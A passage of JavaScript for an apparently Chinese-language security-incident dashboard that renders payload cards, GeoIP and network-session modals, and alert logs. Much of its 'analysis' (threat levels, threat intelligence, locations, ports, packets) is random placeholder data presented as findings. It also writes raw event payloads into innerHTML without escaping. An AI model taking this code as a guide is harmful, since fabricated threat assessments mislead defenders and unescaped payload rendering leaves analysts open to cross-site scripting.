                                     event.attackType === '数据泄露' ? '数据文件' : 
                                     event.attackType === '内部威胁' ? '访问请求' : '未知类型');
    const fileSize = payload.size || (payload.raw ? `${payload.raw.length}字节` : '动态生成');
    
    card.innerHTML = `
        <h3 class="text-lg font-medium mb-3 text-text-primary">事件载荷</h3>
        <div class="flex justify-between items-center mb-2">
            <span class="text-sm text-text-secondary">哈希值</span>
            <span class="font-mono text-sm">${payload.hash || 'N/A'}</span>
        </div>
        <div class="flex justify-between items-center mb-2">
            <span class="text-sm text-text-secondary">文件类型</span>
            <span>${fileType}</span>
        </div>
        <div class="flex justify-between items-center mb-2">
            <span class="text-sm text-text-secondary">文件大小</span>
            <span>${fileSize}</span>
        </div>
        <div class="mt-3">
            <p class="text-sm text-text-secondary mb-2">载荷特征</p>
            <div class="code-block text-xs">
${payload.raw ? payload.raw.split('\n').map(line => `                ${line}`).join('\n') : 
                payload.extractedFeatures ? payload.extractedFeatures.join('\n                ') : '                载荷特征分析中...'}
            </div>
        </div>
        <div class="mt-3 flex gap-2">
            <button class="btn btn-secondary text-xs view-full-payload">查看完整载荷</button>
            <button class="btn btn-secondary text-xs download-sample">下载样本</button>
        </div>
    `;
    
    // 添加事件监听
    card.querySelector('.view-full-payload').addEventListener('click', () => {
        const modal = createFullPayloadModal(event);
        document.body.appendChild(modal);
    });
    
    // 下载样本功能
    card.querySelector('.download-sample').addEventListener('click', () => {
        // 获取载荷数据
        const payload = event.payload || {};
        
        // 构建下载数据，包含完整载荷信息
        const downloadData = {
            eventId: event.id,
            eventName: event.name,
            timestamp: new Date().toISOString(),
            payload: {
                hash: payload.hash || 'N/A',
                type: payload.type || '未知文件类型',
                size: payload.size || '未知',
                sampleCode: payload.sampleCode || '无可用载荷代码',
                source: payload.source || '未知来源',
                behaviorDescription: payload.behaviorDescription || '暂无描述',
                ioc: payload.ioc || {},
                executionSteps: payload.executionSteps || []
            }
        };
        
        // 创建Blob并下载
        const blob = new Blob([JSON.stringify(downloadData, null, 2)], { type: 'application/json' });
        const url = URL.createObjectURL(blob);
        const a = document.createElement('a');
        a.href = url;
        a.download = `payload_${event.id}_${Date.now()}.json`;
        document.body.appendChild(a);
        a.click();
        
        // 清理
        document.body.removeChild(a);
        URL.revokeObjectURL(url);
        
        // 显示下载成功提示
        showNotification('样本下载成功', 'success');
    });
    
    return card;
}

// 生成GeoIP分析数据
function generateGeoIPData(ipAddress) {
    // 判断IP类型（内网/外网）
    const isPrivateIP = function(ip) {
        const parts = ip.split('.').map(Number);
        return (
            (parts[0] === 10) ||
            (parts[0] === 172 && parts[1] >= 16 && parts[1] <= 31) ||
            (parts[0] === 192 && parts[1] === 168)
        );
    };
    
    const ipType = isPrivateIP(ipAddress) ? '内网IP' : '公网IP';
    
    // 生成国家列表
    const countries = ['中国', '美国', '日本', '韩国', '英国', '德国', '法国', '俄罗斯', '印度', '澳大利亚'];
    // 生成城市列表
    const cities = {
        '中国': ['北京', '上海', '广州', '深圳', '杭州', '成都', '武汉', '西安'],
        '美国': ['纽约', '洛杉矶', '芝加哥', '休斯顿', '凤凰城', '费城', '圣地亚哥', '达拉斯'],
        '日本': ['东京', '横滨', '大阪', '名古屋', '札幌', '神户', '京都', '福冈'],
        '韩国': ['首尔', '釜山', '仁川', '大邱', '大田', '光州', '蔚山', '水原'],
        '英国': ['伦敦', '伯明翰', '曼彻斯特', '格拉斯哥', '利物浦', '爱丁堡', '利兹', '谢菲尔德'],
        '德国': ['柏林', '汉堡', '慕尼黑', '科隆', '法兰克福', '斯图加特', '杜塞尔多夫', '多特蒙德'],
        '法国': ['巴黎', '马赛', '里昂', '图卢兹', '尼斯', '南特', '斯特拉斯堡', '蒙彼利埃'],
        '俄罗斯': ['莫斯科', '圣彼得堡', '新西伯利亚', '叶卡捷琳堡', '下诺夫哥罗德', '萨马拉', '鄂木斯克', '喀山'],
        '印度': ['孟买', '德里', '班加罗尔', '海德拉巴', '金奈', '艾哈迈达巴德', '浦那', '苏拉特'],
        '澳大利亚': ['悉尼', '墨尔本', '布里斯班', '珀斯', '阿德莱德', '黄金海岸', '纽卡斯尔', '堪培拉']
    };
    
    // 生成ISP列表
    const isps = ['中国电信', '中国联通', '中国移动', '中国铁通', 'AT&T', 'Verizon', 'Comcast', 'NTT', 'KT Corporation', 'British Telecom'];
    
    // 生成威胁等级
    const threatLevels = ['低风险', '中风险', '高风险'];
    const threatLevelColors = ['green-500', 'yellow-500', 'red-500'];
    
    // 根据IP选择国家
    let country;
    if (ipType === '内网IP') {
        country = '内部网络';
    } else {
        // 简单的IP到国家的映射逻辑
        const firstOctet = parseInt(ipAddress.split('.')[0]);
        if (firstOctet >= 1 && firstOctet <= 127) {
            country = countries[Math.floor(Math.random() * 3)]; // 美国、日本、韩国概率较高
        } else if (firstOctet >= 128 && firstOctet <= 191) {
            country = countries[Math.floor(Math.random() * 4) + 3]; // 欧洲国家概率较高
        } else {
            country = countries[Math.floor(Math.random() * countries.length)];
        }
    }
    
    // 根据国家选择城市
    let city;
    if (country === '内部网络') {
        city = '本地网络';
    } else {
        const countryCities = cities[country] || cities['中国'];
        city = countryCities[Math.floor(Math.random() * countryCities.length)];
    }
    
    // 生成随机经纬度
    const lat = (Math.random() * 90).toFixed(6);
    const lng = (Math.random() * 180 - 90).toFixed(6);
    const coordinates = `${lat}, ${lng}`;
    
    // 生成随机时区
    const timezones = ['UTC-12:00', 'UTC-8:00', 'UTC-5:00', 'UTC+0:00', 'UTC+8:00', 'UTC+9:00', 'UTC+12:00'];
    const timezone = country === '内部网络' ? 'UTC+8:00' : timezones[Math.floor(Math.random() * timezones.length)];
    
    // 生成随机ISP
    const isp = country === '内部网络' ? '内部网络' : isps[Math.floor(Math.random() * isps.length)];
    
    // 生成随机ASN
    const asn = country === '内部网络' ? '内部网络' : `AS${Math.floor(Math.random() * 90000) + 10000}`;
    
    // 生成开放端口
    const commonPorts = [22, 80, 443, 8080, 8443];
    const randomPorts = commonPorts
        .filter(() => Math.random() > 0.5)
        .join(', ');
    const openPorts = randomPorts || '未发现开放端口';
    
    // 生成服务列表
    const services = {
        22: 'SSH',
        80: 'HTTP',
        443: 'HTTPS',
        8080: 'HTTP-Proxy',
        8443: 'HTTPS-Alt'
    };
    const detectedServices = randomPorts
        .split(', ')
        .map(port => services[port] || `服务(${port})`)
        .join(', ');
    
    // 生成路由跳数和响应时间
    const routeCount = country === '内部网络' ? 1 : Math.floor(Math.random() * 20) + 3;
    const responseTime = country === '内部网络' ? Math.floor(Math.random() * 10) + 1 : Math.floor(Math.random() * 300) + 20;
    
    // 生成威胁情报
    const threatIntelligence = [
        '未发现相关威胁情报',
        '曾参与小规模扫描活动',
        '与已知恶意活动存在关联',
        '出现在多个威胁情报平台黑名单中',
        '被识别为恶意软件分发点',
        '被用于命令控制服务器'
    ];
    
    // 生成安全建议
    const recommendationSets = [
        [
            '持续监控该IP的活动',
            '确保防火墙规则正确配置',
            '定期更新安全规则库'
        ],
        [
            '限制与该IP的不必要通信',
            '监控该IP的流量模式变化',
            '考虑实施流量过滤措施'
        ],
        [
            '立即阻断与该IP的所有通信',
            '扫描可能受到感染的系统',
            '更新入侵检测系统规则',
            '保留相关日志用于取证分析'
        ]
    ];
    
    // 根据IP特征选择威胁等级
    let threatLevelIndex = 0;
    if (!isPrivateIP(ipAddress)) {
        // 模拟一些简单的威胁评分逻辑
        const ipParts = ipAddress.split('.').map(Number);
        const suspiciousPattern = ipParts[0] > 200 || (ipParts[2] === 1 && ipParts[3] > 200);
        
        if (suspiciousPattern || Math.random() < 0.2) {
            threatLevelIndex = 2; // 高风险
        } else if (Math.random() < 0.4) {
            threatLevelIndex = 1; // 中风险
        }
    }
    
    const threatLevel = threatLevels[threatLevelIndex];
    const threatLevelColor = threatLevelColors[threatLevelIndex];
    const threatIntelligenceText = country === '内部网络' ? '内网地址，不涉及外部威胁情报' : threatIntelligence[threatLevelIndex];
    const recommendations = country === '内部网络' ? [
        '确保内网访问控制策略正确配置',
        '定期检查内网安全状况',
        '实施内部网络分段'
    ] : recommendationSets[threatLevelIndex];
    
    return {
        ipType,
        isp,
        asn,
        country,
        city,
        coordinates,
        timezone,
        openPorts,
        services: detectedServices || '未检测到开放服务',
        routeCount,
        responseTime,
        threatLevel,
        threatLevelColor,
        threatIntelligence: threatIntelligenceText,
        recommendations
    };
}

// 创建GeoIP分析模态框
function createGeoIPAnalysisModal(ipAddress) {
    const modal = document.createElement('div');
    modal.className = 'modal-overlay fixed inset-0 bg-black bg-opacity-50 flex items-center justify-center z-50';
    modal.setAttribute('data-modal', 'geoip-analysis');
    
    // 生成GeoIP分析数据
    const geoipData = generateGeoIPData(ipAddress);
    
    modal.innerHTML = `
        <div class="modal-content bg-white rounded-lg shadow-lg w-full max-w-2xl max-h-[90vh] overflow-auto">
            <div class="modal-header p-4 border-b flex justify-between items-center">
                <h2 class="text-xl font-medium text-text-primary">GeoIP分析 - ${ipAddress}</h2>
                <button class="close-modal text-gray-500 hover:text-gray-700">
                    <i class="fa fa-times text-lg"></i>
                </button>
            </div>
            <div class="modal-body p-4">
                <!-- 基本信息 -->
                <div class="mb-6">
                    <h3 class="text-base font-medium mb-3 text-text-primary border-l-4 border-blue-500 pl-2">基本信息</h3>
                    <div class="grid grid-cols-2 gap-4">
                        <div>
                            <p class="text-sm text-text-secondary">IP地址</p>
                            <p class="font-mono">${ipAddress}</p>
                        </div>
                        <div>
                            <p class="text-sm text-text-secondary">IP类型</p>
                            <p>${geoipData.ipType}</p>
                        </div>
                        <div>
                            <p class="text-sm text-text-secondary">ISP提供商</p>
                            <p>${geoipData.isp}</p>
                        </div>
                        <div>
                            <p class="text-sm text-text-secondary">ASN编号</p>
                            <p>${geoipData.asn}</p>
                        </div>
                    </div>
                </div>
                
                <!-- 地理位置 -->
                <div class="mb-6">
                    <h3 class="text-base font-medium mb-3 text-text-primary border-l-4 border-green-500 pl-2">地理位置</h3>
                    <div class="grid grid-cols-2 gap-4">
                        <div>
                            <p class="text-sm text-text-secondary">国家/地区</p>
                            <p>${geoipData.country}</p>
                        </div>
                        <div>
                            <p class="text-sm text-text-secondary">城市</p>
                            <p>${geoipData.city}</p>
                        </div>
                        <div>
                            <p class="text-sm text-text-secondary">经纬度</p>
                            <p class="font-mono text-xs">${geoipData.coordinates}</p>
                        </div>
                        <div>
                            <p class="text-sm text-text-secondary">时区</p>
                            <p>${geoipData.timezone}</p>
                        </div>
                    </div>
                </div>
                
                <!-- 网络特征 -->
                <div class="mb-6">
                    <h3 class="text-base font-medium mb-3 text-text-primary border-l-4 border-purple-500 pl-2">网络特征</h3>
                    <div class="grid grid-cols-2 gap-4">
                        <div>
                            <p class="text-sm text-text-secondary">开放端口</p>
                            <p>${geoipData.openPorts}</p>
                        </div>
                        <div>
                            <p class="text-sm text-text-secondary">服务探测</p>
                            <p class="text-xs">${geoipData.services}</p>
                        </div>
                        <div>
                            <p class="text-sm text-text-secondary">路由路径</p>
                            <p class="text-xs">${geoipData.routeCount}跳</p>
                        </div>
                        <div>
                            <p class="text-sm text-text-secondary">平均响应时间</p>
                            <p>${geoipData.responseTime}ms</p>
                        </div>
                    </div>
                </div>
                
                <!-- 安全评估 -->
                <div class="mb-4">
                    <h3 class="text-base font-medium mb-3 text-text-primary border-l-4 border-red-500 pl-2">安全评估</h3>
                    <div class="bg-gray-50 p-3 rounded">
                        <div class="flex justify-between items-center mb-2">
                            <p class="text-sm font-medium">威胁等级</p>
                            <p class="font-medium text-${geoipData.threatLevelColor}">${geoipData.threatLevel}</p>
                        </div>
                        <div class="mb-2">
                            <p class="text-sm font-medium mb-1">关联威胁情报</p>
                            <p class="text-sm text-text-secondary">${geoipData.threatIntelligence}</p>
                        </div>
                        <div>
                            <p class="text-sm font-medium mb-1">安全建议</p>
                            <ul class="list-disc list-inside text-sm text-text-secondary">
                                ${geoipData.recommendations.map(rec => `<li>${rec}</li>`).join('')}
                            </ul>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    `;
    
    // 添加关闭模态框事件监听
    modal.querySelector('.close-modal').addEventListener('click', () => {
        modal.remove();
    });
    
    // 点击模态框外部关闭
    modal.addEventListener('click', (e) => {
        if (e.target === modal) {
            modal.remove();
        }
    });
    
    return modal;
}

// 创建完整网络会话模态框
function createFullSessionModal(event) {
    // 创建模态框容器
    const modal = document.createElement('div');
    modal.className = 'modal-overlay fixed inset-0 bg-black/50 flex items-center justify-center z-50';
    modal.setAttribute('id', 'session-modal');
    
    // 辅助函数：生成随机IP地址
    function generateRandomIp() {
        return `${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}`;
    }
    
    // 辅助函数：生成随机端口号
    function generateRandomPort() {
        return Math.floor(Math.random() * 65535);
    }
    
    // 辅助函数：生成随机MAC地址
    function generateRandomMac() {
        const hexDigits = '0123456789ABCDEF';
        let mac = '';
        for (let i = 0; i < 6; i++) {
            mac += hexDigits.charAt(Math.floor(Math.random() * 16));
            mac += hexDigits.charAt(Math.floor(Math.random() * 16));
            if (i < 5) mac += ':';
        }
        return mac;
    }
    
    // 辅助函数：生成地理位置
    function generateRandomLocation() {
        const locations = [
            '中国 北京', '中国 上海', '中国 广州', '中国 深圳',
            '美国 纽约', '美国 洛杉矶', '美国 芝加哥',
            '日本 东京', '韩国 首尔', '英国 伦敦',
            '德国 柏林', '法国 巴黎', '俄罗斯 莫斯科'
        ];
        return locations[Math.floor(Math.random() * locations.length)];
    }
    
    // 辅助函数：生成协议
    function generateProtocol() {
        const protocols = ['TCP', 'UDP', 'HTTP', 'HTTPS', 'FTP', 'SMTP', 'DNS', 'ICMP'];
        return protocols[Math.floor(Math.random() * protocols.length)];
    }
    
    // 辅助函数：生成持续时间
    function generateDuration() {
        const duration = Math.floor(Math.random() * 3600); // 最多1小时
        if (duration < 60) return `${duration}秒`;
        return `${Math.floor(duration / 60)}分${duration % 60}秒`;
    }
    
    // 辅助函数：生成会话状态
    function generateStatus() {
        const statuses = ['已建立', '已关闭', '超时', '重置', '半开'];
        return statuses[Math.floor(Math.random() * statuses.length)];
    }
    
    // 辅助函数：生成数据包
    function generatePackets() {
        const packetTypes = ['SYN', 'ACK', 'PSH', 'RST', 'FIN', 'DATA', 'GET', 'POST'];
        const packetStatuses = ['已发送', '已接收', '已确认', '丢失', '重传'];
        const packetCount = Math.floor(Math.random() * 10) + 5; // 5-15个数据包
        const result = [];
        const baseTime = Date.now() - 3600000; // 1小时前
        
        for (let i = 0; i < packetCount; i++) {
            result.push({
                timestamp: baseTime + i * 10000, // 每10秒一个包
                type: packetTypes[Math.floor(Math.random() * packetTypes.length)],
                size: Math.floor(Math.random() * 1500) + 60, // 60-1560字节
                status: packetStatuses[Math.floor(Math.random() * packetStatuses.length)]
            });
        }
        return result;
    }
    
    // 辅助函数：生成会话数据
    function generateSessionData() {
        const protocol = generateProtocol();
        return `[会话摘要]
协议: ${protocol}
连接状态: ESTABLISHED
传输层: ${Math.random() > 0.5 ? 'IPv4' : 'IPv6'}
窗口大小: ${Math.floor(Math.random() * 65535) + 1024}
拥塞控制: ${Math.random() > 0.5 ? 'TCP Reno' : 'TCP Cubic'}

[${protocol === 'HTTP' || protocol === 'HTTPS' ? 'HTTP' : '通用'}头部示例]
${protocol === 'HTTP' || protocol === 'HTTPS' ? 
  'GET /api/data HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/5.0\nAccept: */*\nContent-Type: application/json' : 
  'Source: ' + generateRandomIp() + ':' + generateRandomPort() + '\nDestination: ' + generateRandomIp() + ':' + generateRandomPort() + '\nTimestamp: ' + new Date().toISOString()}`;
    }
    
    // 获取网络流量数据，并确保所有字段都有默认值
    const network = event.network || {};
    const source = network.source || {};
    const destination = network.destination || {};
    const connection = network.connection || {};
    let packets = network.packets || [];
    
    // 如果没有数据包，生成一些示例数据包
    if (packets.length === 0) {
        packets = generatePackets();
    }
    
    // 构建模态框内容
    modal.innerHTML = `
        <div class="modal-content bg-white rounded-lg shadow-lg w-full max-w-4xl max-h-[90vh] overflow-auto">
            <div class="modal-header p-4 border-b flex justify-between items-center">
                <h2 class="text-xl font-medium text-text-primary">完整网络会话</h2>
                <button class="close-modal text-gray-500 hover:text-gray-700">
                    <i class="fa fa-times text-lg"></i>
                </button>
            </div>
            <div class="modal-body p-4">
                <div class="grid grid-cols-2 gap-4 mb-6">
                    <div>
                        <h3 class="text-base font-medium mb-2 text-text-primary">源信息</h3>
                        <div class="bg-bg-light p-3 rounded">
                            <div class="mb-2">
                                <span class="text-sm text-text-secondary">IP地址:</span>
                                <span class="ml-2 font-mono">${source.ip || generateRandomIp()}</span>
                            </div>
                            <div class="mb-2">
                                <span class="text-sm text-text-secondary">端口:</span>
                                <span class="ml-2">${source.port || generateRandomPort()}</span>
                            </div>
                            <div class="mb-2">
                                <span class="text-sm text-text-secondary">MAC地址:</span>
                                <span class="ml-2 font-mono">${source.mac || generateRandomMac()}</span>
                            </div>
                            <div>
                                <span class="text-sm text-text-secondary">地理位置:</span>
                                <span class="ml-2">${source.geoLocation || generateRandomLocation()}</span>
                            </div>
                        </div>
                    </div>
                    <div>
                        <h3 class="text-base font-medium mb-2 text-text-primary">目标信息</h3>
                        <div class="bg-bg-light p-3 rounded">
                            <div class="mb-2">
                                <span class="text-sm text-text-secondary">IP地址:</span>
                                <span class="ml-2 font-mono">${destination.ip || generateRandomIp()}</span>
                            </div>
                            <div class="mb-2">
                                <span class="text-sm text-text-secondary">端口:</span>
                                <span class="ml-2">${destination.port || generateRandomPort()}</span>
                            </div>
                            <div class="mb-2">
                                <span class="text-sm text-text-secondary">MAC地址:</span>
                                <span class="ml-2 font-mono">${destination.mac || generateRandomMac()}</span>
                            </div>
                            <div>
                                <span class="text-sm text-text-secondary">地理位置:</span>
                                <span class="ml-2">${destination.geoLocation || generateRandomLocation()}</span>
                            </div>
                        </div>
                    </div>
                </div>
                
                <div class="grid grid-cols-2 gap-4 mb-6">
                    <div>
                        <p class="text-sm text-text-secondary mb-1">协议</p>
                        <p>${network.protocol || generateProtocol()}</p>
                    </div>
                    <div>
                        <p class="text-sm text-text-secondary mb-1">时间戳</p>
                        <p>${network.timestamp ? new Date(network.timestamp).toLocaleString() : new Date().toLocaleString()}</p>
                    </div>
                    <div>
                        <p class="text-sm text-text-secondary mb-1">持续时间</p>
                        <p>${connection.duration || generateDuration()}</p>
                    </div>
                    <div>
                        <p class="text-sm text-text-secondary mb-1">会话状态</p>
                        <p>${connection.status || generateStatus()}</p>
                    </div>
                </div>
                
                <div class="mb-6">
                    <p class="text-sm text-text-secondary mb-2">流量统计</p>
                    <div class="grid grid-cols-4 gap-2">
                        <div class="bg-bg-light p-2 rounded text-center">
                            <div class="text-xs text-text-secondary">发送数据包</div>
                            <div class="font-medium">${connection.sentPackets || Math.floor(Math.random() * 1000) + 100}</div>
                        </div>
                        <div class="bg-bg-light p-2 rounded text-center">
                            <div class="text-xs text-text-secondary">接收数据包</div>
                            <div class="font-medium">${connection.receivedPackets || Math.floor(Math.random() * 1000) + 100}</div>
                        </div>
                        <div class="bg-bg-light p-2 rounded text-center">
                            <div class="text-xs text-text-secondary">发送字节</div>
                            <div class="font-medium">${connection.sentBytes || Math.floor(Math.random() * 1000000) + 10000}</div>
                        </div>
                        <div class="bg-bg-light p-2 rounded text-center">
                            <div class="text-xs text-text-secondary">接收字节</div>
                            <div class="font-medium">${connection.receivedBytes || Math.floor(Math.random() * 1000000) + 10000}</div>
                        </div>
                    </div>
                </div>
                
                <div class="mb-6">
                    <p class="text-sm text-text-secondary mb-2">会话数据</p>
                    <div class="code-block max-h-60 overflow-auto">
                                ${network.fullData || network.sampleData || generateSessionData()}
                            </div>
                </div>
                
                <div>
                    <p class="text-sm text-text-secondary mb-2">数据包详情</p>
                    <div class="overflow-x-auto">
                        <table class="table text-sm">
                            <thead>
                                <tr>
                                    <th>序号</th>
                                    <th>时间戳</th>
                                    <th>类型</th>
                                    <th>大小</th>
                                    <th>状态</th>
                                </tr>
                            </thead>
                            <tbody>
                                ${packets.length > 0 ? packets.map((packet, index) => `
                                    <tr>
                                        <td>${index + 1}</td>
                                        <td>${packet.timestamp ? new Date(packet.timestamp).toLocaleTimeString() : new Date().toLocaleTimeString()}</td>
                                        <td>${packet.type || ['SYN', 'ACK', 'PSH', 'RST', 'FIN', 'DATA'][Math.floor(Math.random() * 6)]}</td>
                                        <td>${packet.size || Math.floor(Math.random() * 1500) + 60} 字节</td>
                                        <td>${packet.status || ['已发送', '已接收', '已确认', '丢失', '重传'][Math.floor(Math.random() * 5)]}</td>
                                    </tr>
                                `).join('') : '<tr><td colspan="5" class="py-4 text-center text-text-secondary">暂无数据包详情</td></tr>'}
                            </tbody>
                        </table>
                    </div>
                </div>
            </div>
        </div>
    `;
    
    // 添加关闭事件
    modal.querySelector('.close-modal').addEventListener('click', () => {
        modal.remove();
    });
    
    // 点击模态框外部关闭
    modal.addEventListener('click', (e) => {
        if (e.target === modal) {
            modal.remove();
        }
    });
    
    return modal;
}

// 创建网络流量卡片
function createNetworkTrafficCard(event) {
    const card = document.createElement('div');
    card.className = 'info-card p-4';
    
    // 优先使用event.networkTraffic，其次使用event.network，确保数据完整
    const networkData = event.networkTraffic || event.network || {};
    
    // 定义流量摘要示例数据
    const sampleData = `# 流量摘要
协议: ${networkData.protocol || 'TCP'}
源IP: ${networkData.sourceIP || '10.10.1.5'}
目标IP: ${networkData.destIP || '203.0.113.10'}
源端口: ${networkData.sourcePort || '54321'}
目标端口: ${networkData.destPort || '80'}
连接状态: ESTABLISHED
数据传输: 12.5KB
数据包数量: 42
会话持续时间: 3.2分钟

# 特征识别
流量模式: 正常Web请求
风险评分: ${event.severity === 'high' ? '高' : event.severity === 'medium' ? '中' : '低'}`;
    
    // 根据事件类型和现有数据填充完整的网络信息
    const sourceIP = networkData.sourceIP || networkData.source?.ip || event.sourceIP || '内部未知地址';
    const sourcePort = networkData.sourcePort || networkData.source?.port || '动态端口';
    const destIP = networkData.destIP || networkData.destination?.ip || event.targetIP || '目标服务器';
    const destPort = networkData.destPort || networkData.destination?.port || 
                   (networkData.protocol === 'HTTP' || networkData.protocol === 'HTTPS' ? '80/443' : 
                    networkData.protocol === 'SSH' ? '22' : 
                    networkData.protocol === 'SMB' ? '445' : '服务端口');
    const protocol = networkData.protocol || (event.attackType === 'Web攻击' ? 'HTTP/HTTPS' : 
                                             event.attackType === '恶意软件' ? 'HTTPS' : 
                                             event.attackType === '暴力破解' ? 'SSH' : 
                                             event.attackType === '数据泄露' ? 'HTTPS' : 
                                             event.attackType === '内部威胁' ? 'SMB' : 'TCP/UDP');
    const timestamp = networkData.timestamp || event.timestamp ? new Date(networkData.timestamp || event.timestamp).toLocaleString() : new Date().toLocaleString();
    const geoLocation = networkData.geoLocation || '网络位置追踪中';
    
    card.innerHTML = `
        <h3 class="text-lg font-medium mb-3 text-text-primary">网络流量</h3>
        <div class="grid grid-cols-2 gap-4 mb-4">
            <div>
                <p class="text-sm text-text-secondary">源地址</p>
                <p>${sourceIP}:${sourcePort}</p>
            </div>
            <div>
                <p class="text-sm text-text-secondary">目标地址</p>
                <p>${destIP}:${destPort}</p>
            </div>
            <div>
                <p class="text-sm text-text-secondary">协议</p>
                <p>${protocol}</p>
            </div>
            <div>
                <p class="text-sm text-text-secondary">地理位置</p>
                <p class="text-xs">${geoLocation}</p>
            </div>
            <div>
                <p class="text-sm text-text-secondary">时间戳</p>
                <p class="text-xs">${timestamp}</p>
            </div>
            <div>
                <p class="text-sm text-text-secondary">传输方向</p>
                <p class="text-xs">${sourceIP.startsWith('10.') ? '内部到外部' : '外部到内部'}</p>
            </div>
        </div>
        <div>
            <p class="text-sm text-text-secondary mb-2">流量摘要</p>
            <div class="code-block text-xs">
${sampleData.split('\n').map(line => `                ${line}`).join('\n')}
            </div>
        </div>
        <div class="mt-3 flex justify-between">
            <div class="flex gap-2">
                <button class="btn btn-secondary text-xs view-full-session">查看完整会话</button>
                <button class="btn btn-secondary text-xs reconstruct-traffic">重建流量</button>
            </div>
            <button class="btn btn-primary text-xs geoip-analysis-btn" data-ip="${destIP}">GeoIP分析</button>
        </div>
    `;
    
    // 添加查看完整会话事件监听
    card.querySelector('.view-full-session').addEventListener('click', () => {
        const modal = createFullSessionModal(event);
        document.body.appendChild(modal);
    });
    
    // 添加重建流量事件监听
    card.querySelector('.reconstruct-traffic').addEventListener('click', function() {
        // 显示正在重建的提示
        showNotification('正在重建流量，请稍候...', 'info');
        
        // 禁用按钮防止重复点击
        this.disabled = true;
        this.textContent = '重建中...';
        
        // 模拟重建流量的异步操作
        setTimeout(() => {
            // 模拟生成重建后的流量数据
            const reconstructedData = {
                fullData: "10.10.5.24:54321 → 198.51.100.78:80 [SYN]\n" +
                          "198.51.100.78:80 → 10.10.5.24:54321 [SYN,ACK]\n" +
                          "10.10.5.24:54321 → 198.51.100.78:80 [ACK]\n" +
                          "10.10.5.24:54321 → 198.51.100.78:80 [POST /api/login HTTP/1.1]\n" +
                          "198.51.100.78:80 → 10.10.5.24:54321 [HTTP/1.1 200 OK]\n" +
                          "10.10.5.24:54321 → 198.51.100.78:80 [FIN,ACK]\n" +
                          "198.51.100.78:80 → 10.10.5.24:54321 [FIN,ACK]\n" +
                          "10.10.5.24:54321 → 198.51.100.78:80 [ACK]"
            };
            
            // 更新流量摘要显示
            const codeBlock = card.querySelector('.code-block');
            if (codeBlock) {
                codeBlock.innerHTML = reconstructedData.fullData.split('\n').map(line => `                ${line}`).join('\n');
            }
            
            // 恢复按钮状态
            this.disabled = false;
            this.textContent = '重建流量';
            
            // 显示重建成功提示
            showNotification('流量重建成功，流量摘要已更新', 'success');
        }, 1500);
    });
    
    // 添加GeoIP分析事件监听
    card.querySelector('.geoip-analysis-btn').addEventListener('click', function() {
        const ipAddress = this.getAttribute('data-ip');
        // 显示分析中的提示
        showNotification(`正在分析IP地址 ${ipAddress}，请稍候...`, 'info');
        
        // 模拟分析延迟
        setTimeout(() => {
            const modal = createGeoIPAnalysisModal(ipAddress);
            document.body.appendChild(modal);
        }, 300);
    });
    
    return card;
}

// 根据事件类型获取日志来源名称
function getSourceNameByEventType(eventType) {
    const sources = {
        'Web攻击': 'Web应用防火墙',
        'SQL注入': '数据库审计系统',
        '恶意软件': '终端安全防护',
        '勒索软件': '高级威胁防护',
        '暴力破解': '安全认证系统',
        'SSH暴力破解': 'SSH登录审计',
        '数据泄露': '数据防泄漏系统',
        '内部威胁': '内部异常行为监测',
        '账户盗用': '身份认证中心'
    };
    
    for (const [key, value] of Object.entries(sources)) {
        if (eventType && eventType.includes(key)) {
            return value;
        }
    }
    return '安全监控系统';
}

// 根据事件类型生成告警日志
function generateAlertsByEventType(event) {
    const alerts = [];
    const now = new Date();
    let alertCount = 3;
    
    // 根据严重程度调整告警数量
    if (event.severity === 'critical') {
        alertCount = 5;
    } else if (event.severity === 'high') {
        alertCount = 4;
    }
    
    // 生成基础告警模板
    for (let i = 0; i < alertCount; i++) {
        const timestamp = new Date(now.getTime() - i * 60000).toISOString(); // 每分钟一个告警
        
        // 基础告警信息
        let alert = {
            timestamp: timestamp,
            severity: event.severity === 'critical' ? 'critical' : 
                   event.severity === 'high' ? 'high' : 'medium',
            source: getSourceNameByEventType(event.attackType),
            rawContent: getRawLogContent(event, i),
            ruleId: `RULE-${event.severity?.toUpperCase() || 'MEDIUM'}-${i + 1}`
        };
        
        // 根据事件类型定制告警消息
        if (event.attackType && event.attackType.includes('SQL注入')) {
            alert.message = i === 0 ? 
                `检测到针对${event.targetSystem || '数据库服务器'}的SQL注入攻击尝试` :
                i === 1 ? 
                `发现可疑SQL查询: ${event.payload?.content?.substring(0, 30) || 'SELECT * FROM users'}...` :
                i === 2 ? 
                `来源IP ${event.sourceIP || '192.168.1.100'} 多次触发安全规则` :
                i === 3 ? 
                `防火墙已阻断来自该IP的请求` :
                `已通知安全管理员处理此事件`;
        } else if (event.attackType && event.attackType.includes('勒索软件')) {
            alert.message = i === 0 ? 
                `检测到潜在勒索软件活动: ${event.payload?.malwareName || '未知变种'}` :
                i === 1 ? 
                `发现可疑文件加密行为: ${event.affectedAssets?.[0]?.name || '用户文档文件夹'}` :
                i === 2 ? 
                `系统已隔离受感染主机: ${event.affectedAssets?.[0]?.ip || '10.10.1.5'}` :
                i === 3 ? 
                `已启动勒索软件响应流程` :
                `通知安全团队和IT运维进行应急处置`;
        } else if (event.attackType && event.attackType.includes('暴力破解')) {
            alert.message = i === 0 ? 
                `检测到SSH暴力破解攻击: ${event.attempts || '20'}次失败尝试` :
                i === 1 ? 
                `攻击来源: ${event.sourceIP || '203.0.113.42'} (${event.geoLocation || '境外地区'})` :
                i === 2 ? 
                `目标账户: ${event.targetAccount || 'admin'}` :
                i === 3 ? 
                `已临时封禁可疑IP地址` :
                `已启用多因素认证保护`;
        } else if (event.attackType && event.attackType.includes('数据泄露')) {
            alert.message = i === 0 ? 
                `检测到敏感数据外传行为` :
                i === 1 ? 
                `涉及数据类型: ${event.dataType || '客户个人信息'}` :
                i === 2 ? 
                `传输目标: ${event.destinationIP || '外部云存储服务'}` :
                i === 3 ? 
                `已阻断数据传输并隔离终端` :
                `合规官已介入调查潜在数据泄露影响`;
        } else if (event.attackType && event.attackType.includes('内部威胁')) {
            alert.message = i === 0 ? 
                `检测到异常内部访问行为` :
                i === 1 ? 
                `用户: ${event.username || '系统管理员'} 在非常规时间访问敏感系统` :
                i === 2 ? 
                `访问内容: ${event.accessedResource || '客户数据库'}` :
                i === 3 ? 
                `已记录详细访问日志并触发审计流程` :
                `安全经理已通知相关部门主管`;
        } else {
            alert.message = i === 0 ? 
                `安全告警: ${event.attackType || '异常活动'}` :
